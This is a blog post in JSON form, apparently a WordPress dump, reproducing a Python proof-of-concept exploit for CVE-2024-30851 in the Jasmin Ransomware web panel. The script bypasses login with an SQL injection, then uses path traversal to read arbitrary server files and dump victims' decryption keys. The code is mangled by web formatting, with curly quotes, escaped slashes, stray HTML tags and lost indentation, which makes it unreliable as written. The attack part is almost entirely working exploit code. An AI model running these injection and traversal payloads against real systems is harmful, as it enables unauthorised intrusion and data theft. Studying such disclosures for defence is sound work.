# Exploit Title: Jasmin Ransomware arbitrary file read
# Date: 2024-04-04
# Exploit Author: @_chebuya
# Software Link: https:\/\/github.com\/codesiddhant\/Jasmin-Ransomware
# Version: v1.1
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-30851
# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login
# Github: https:\/\/github.com\/chebuya\/CVE-2024-30851-jasmin-ransomware-path-traversal-poc\/tree\/main
import requests
import argparse
import os
from bs4 import BeautifulSoup<\/p>\n
def get_file(jasmin_url, filepath):
response = requests.get(
f'{jasmin_url}\/download_file.php?file={filepath}’,
allow_redirects=False
)<\/p>\n
return response.text<\/p>\n
def get_keys(jasmin_url):
headers = {
‘Content-Type’: ‘application\/x-www-form-urlencoded; charset=UTF-8’,
}<\/p>\n
data = “username=&password=’+or+1%3D1+–+-&service=login”
login_req = requests.post(f'{jasmin_url}\/checklogin.php’, headers=headers, data=data)
cookies = login_req.cookies<\/p>\n
list_req = requests.get(f'{jasmin_url}\/dashboard.php’, cookies=cookies)
soup = BeautifulSoup(list_req.text, ‘html.parser’)<\/p>\n
rows = soup.find_all(‘tr’)<\/p>\n
print(f”Dumping decryption keys from {len(rows)-1} victims”)
for row in rows:
data = row.find_all(‘td’)
if len(data) == 0:
continue<\/p>\n
username = data[1].get_text()
hostname = data[0].get_text()
filepath = data[7].find(‘a’)[‘href’].split(“=”)[1]\n
print(f”Decryption key for {username}@{hostname}: {get_file(jasmin_url, filepath)}”)<\/p>\n
parser = argparse.ArgumentParser(description=”LFD\/SQLi Exploit PoC for Jasmin Ransomware panel”)
subparser = parser.add_subparsers(dest=’subcommand’)<\/p>\n
file_parser = subparser.add_parser(“getfile”, help=”Read a file off the server”)
file_parser.add_argument(“-u”, “–url”, required=True, help=”The jasmin ransomware web panel url (http:\/\/target_server)”)
file_parser.add_argument(“-f”, “–file”, default=”c:\/xampp\/apache\/logs\/access.log”, help=”The file to read on the target server”) # Default is the access log, deanonymize the operators!<\/p>\n
keys_parser = subparser.add_parser(“getkeys”, help=”Get decryption keys of victims”)
keys_parser.add_argument(“-u”, “–url”, required=True, help=”The jasmin ransomware web panel url (http:\/\/target_server)”)<\/p>\n
args = parser.parse_args()<\/p>\n
if args.subcommand != None:
target_url = args.url.rstrip(“\/”)<\/p>\n
if args.subcommand == “getkeys”:
get_keys(target_url)
elif args.subcommand == “getfile”:
target_file = args.file.replace(“\\\\”, “\/”).replace(“c:”, “”)
target_path = os.path.join(“..\/..\/..\/..\/..\/..\/..\/..\/..\/”, target_file)
print(get_file(target_url, target_path))
else:
parser.print_help()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Jasmin Ransomware arbitrary file read# Date: 2024-04-04# Exploit Author: @_chebuya# Software Link: https:\/\/github.com\/codesiddhant\/Jasmin-Ransomware# Version: v1.1# Tested on: Ubuntu 20.04 LTS# CVE: CVE-2024-30851# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login# Github: https:\/\/github.com\/chebuya\/CVE-2024-30851-jasmin-ransomware-path-traversal-poc\/tree\/mainimport requestsimport …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56113","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56113"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56113\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}